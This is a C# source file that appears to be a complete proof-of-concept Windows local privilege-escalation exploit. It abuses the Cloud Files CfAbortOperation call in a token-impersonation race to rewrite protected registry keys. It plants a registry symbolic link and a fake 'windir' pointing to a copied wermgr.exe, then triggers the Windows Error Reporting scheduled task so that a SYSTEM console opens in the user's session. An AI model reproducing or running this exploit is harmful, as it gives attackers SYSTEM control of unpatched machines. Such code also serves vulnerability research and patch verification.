Program.cs 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369
  1. using Microsoft.Win32;
  2. using Microsoft.Win32.TaskScheduler;
  3. using NtApiDotNet;
  4. using NtApiDotNet.Win32;
  5. using System;
  6. using System.Diagnostics;
  7. using System.IO;
  8. using System.IO.Pipes;
  9. using System.Runtime.InteropServices;
  10. using System.Security.AccessControl;
  11. using System.Security.Cryptography;
  12. using System.Security.Permissions;
  13. using System.Threading;
  14. namespace PoC_AbortHydration_ArbitraryRegKey_EoP
  15. {
  16. static class Program
  17. {
  18. static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
  19. {
  20. Console.WriteLine("Opening for {0}", desired_access);
  21. using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
  22. {
  23. using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
  24. {
  25. if (key.IsSuccess)
  26. return key.Result.Duplicate();
  27. }
  28. using (var imp = NtThread.Current.ImpersonateAnonymousToken())
  29. {
  30. return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
  31. }
  32. }
  33. }
  34. static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
  35. {
  36. var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
  37. key.SetSecurityDescriptor(sd, info);
  38. }
  39. static void ForceKeyDeleteKey(NtKey root, string name)
  40. {
  41. Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
  42. using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
  43. {
  44. Console.WriteLine("Opened for WriteDac");
  45. SetSecurityDescriptor(key, SecurityInformation.Dacl);
  46. }
  47. using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
  48. {
  49. Console.WriteLine("Opened for WriteOwner");
  50. SetSecurityDescriptor(key, SecurityInformation.Label);
  51. }
  52. using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
  53. {
  54. Console.WriteLine("Opened for enumerate.");
  55. DeleteRegistryTree(new_key);
  56. new_key.Delete();
  57. }
  58. }
  59. static void DeleteRegistryTree(NtKey root)
  60. {
  61. foreach (var name in root.QueryKeys())
  62. {
  63. ForceKeyDeleteKey(root, name);
  64. }
  65. }
  66. [Flags]
  67. enum AbortHydrationFlags
  68. {
  69. None = 0,
  70. Unblock = 1,
  71. Block = 2,
  72. }
  73. [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
  74. static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);
  75. [StructLayout(LayoutKind.Sequential)]
  76. struct CF_PLATFORM_INFO
  77. {
  78. public int BuildNumber;
  79. public int RevisionNumber;
  80. public int IntegrationNumber;
  81. }
  82. [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
  83. static extern int CfGetPlatformInfo(
  84. out CF_PLATFORM_INFO PlatformVersion
  85. );
  86. static void ForceTokenThread(object obj)
  87. {
  88. try
  89. {
  90. using (var thread = (NtThread)obj)
  91. {
  92. Console.WriteLine("In force token thread {0}", thread);
  93. using (var token = TokenUtils.GetAnonymousToken())
  94. {
  95. while (true)
  96. {
  97. thread.SetImpersonationToken(token);
  98. thread.SetImpersonationToken(null);
  99. }
  100. }
  101. }
  102. }
  103. catch(ThreadAbortException)
  104. {
  105. return;
  106. }
  107. catch (Exception ex)
  108. {
  109. Console.WriteLine(ex);
  110. }
  111. }
  112. const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
  113. static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
  114. static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
  115. const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment";
  116. static void CheckKeyThread(object root_key)
  117. {
  118. string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
  119. try
  120. {
  121. using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
  122. {
  123. while (true)
  124. {
  125. if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
  126. {
  127. Console.WriteLine("Change detected.");
  128. Environment.Exit(0);
  129. break;
  130. }
  131. }
  132. }
  133. }
  134. catch (Exception ex)
  135. {
  136. Console.WriteLine(ex);
  137. }
  138. }
  139. static int Check(this int hr)
  140. {
  141. if (hr < 0)
  142. Marshal.ThrowExceptionForHR(hr);
  143. return hr;
  144. }
  145. const int MAX_STAGE = 4;
  146. static void Stage0()
  147. {
  148. for (int i = 1; i < MAX_STAGE; ++i)
  149. {
  150. Win32ProcessConfig config = new Win32ProcessConfig
  151. {
  152. CommandLine = $"run {i}",
  153. ApplicationName = typeof(Program).Assembly.Location,
  154. TerminateOnDispose = true
  155. };
  156. using (var p = Win32Process.CreateProcess(config))
  157. {
  158. if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
  159. {
  160. throw new ArgumentException($"Failed to run stage {i}");
  161. }
  162. }
  163. }
  164. }
  165. static void Stage1(bool root_key)
  166. {
  167. Thread check_key_th = new Thread(CheckKeyThread);
  168. check_key_th.IsBackground = true;
  169. check_key_th.Start(root_key);
  170. Thread.Sleep(1000);
  171. var th = NtThread.OpenCurrent();
  172. var anon_thread = new Thread(ForceTokenThread)
  173. {
  174. IsBackground = true
  175. };
  176. anon_thread.Start(th);
  177. while (true)
  178. {
  179. CfAbortOperation(NtProcess.Current.ProcessId,
  180. IntPtr.Zero, AbortHydrationFlags.Block);
  181. }
  182. }
  183. static void Stage2()
  184. {
  185. using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
  186. {
  187. SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
  188. DeleteRegistryTree(key);
  189. }
  190. NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
  191. Stage1(false);
  192. }
  193. static void Stage3()
  194. {
  195. using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
  196. {
  197. Console.WriteLine("Cleaning up link {0}", key.FullPath);
  198. key.Delete();
  199. }
  200. using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
  201. {
  202. SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
  203. }
  204. var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl);
  205. foreach(var subkey in key2.GetSubKeyNames())
  206. {
  207. var fullsubkey = TARGET_KEY + @"\" + subkey;
  208. Console.WriteLine("Cleaning up subkey {0}", fullsubkey);
  209. NtKey _subkey;
  210. try
  211. {
  212. _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac);
  213. }
  214. catch (Exception ex)
  215. {
  216. _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac);
  217. }
  218. SetSecurityDescriptor(_subkey, SecurityInformation.Dacl);
  219. _subkey.Close();
  220. _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete);
  221. _subkey.Delete();
  222. _subkey.Close();
  223. }
  224. key2.Close();
  225. using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue))
  226. {
  227. ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));
  228. }
  229. string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32";
  230. Directory.CreateDirectory(fakesys32);
  231. string fakewer = fakesys32 + @"\wermgr.exe";
  232. File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true);
  233. var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe");
  234. System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync();
  235. using (TaskService tasksvc = new TaskService())
  236. {
  237. Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting");
  238. wertask.Run();
  239. wertask.Dispose();
  240. }
  241. if(!pipewait.Wait(2000))
  242. {
  243. Console.WriteLine("Exploit failed.");
  244. }
  245. else
  246. {
  247. Console.WriteLine("Exploit succeeded.");
  248. }
  249. srvnamedpipe.Dispose();
  250. Thread.Sleep(1000);
  251. try
  252. {
  253. File.Delete(fakewer);
  254. Directory.Delete(fakesys32);
  255. }
  256. catch (Exception ex)
  257. { }
  258. using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete))
  259. {
  260. ntarget.Delete(false);
  261. }
  262. }
  263. [DllImport("kernel32.dll", SetLastError = true)]
  264. public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId);
  265. static void Main(string[] args)
  266. {
  267. bool isSystem;
  268. using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
  269. {
  270. isSystem = identity.IsSystem;
  271. }
  272. if (isSystem)
  273. {
  274. Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process);
  275. var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe");
  276. namedpipeclient.Connect();
  277. UInt32 nSesID;
  278. IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle();
  279. if (!GetNamedPipeServerSessionId(hPipe, out nSesID))
  280. return;
  281. namedpipeclient.Dispose();
  282. NtToken token = NtToken.OpenEffectiveToken();
  283. NtToken token2 = token.DuplicateToken();
  284. token.Dispose();
  285. token = token2;
  286. token.SetSessionId(((int)nSesID));
  287. Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null);
  288. return;
  289. }
  290. try
  291. {
  292. CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();
  293. if (args.Length <= 1)
  294. {
  295. int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
  296. switch (stage)
  297. {
  298. case 0:
  299. Stage0();
  300. break;
  301. case 1:
  302. Stage1(true);
  303. break;
  304. case 2:
  305. Stage2();
  306. break;
  307. case 3:
  308. Stage3();
  309. break;
  310. default:
  311. throw new ArgumentException("Erm?");
  312. }
  313. }
  314. else
  315. {
  316. using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
  317. {
  318. using (var imp = token.Impersonate())
  319. {
  320. CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
  321. }
  322. }
  323. }
  324. }
  325. catch (Exception ex)
  326. {
  327. Console.WriteLine(ex);
  328. }
  329. }
  330. }
  331. }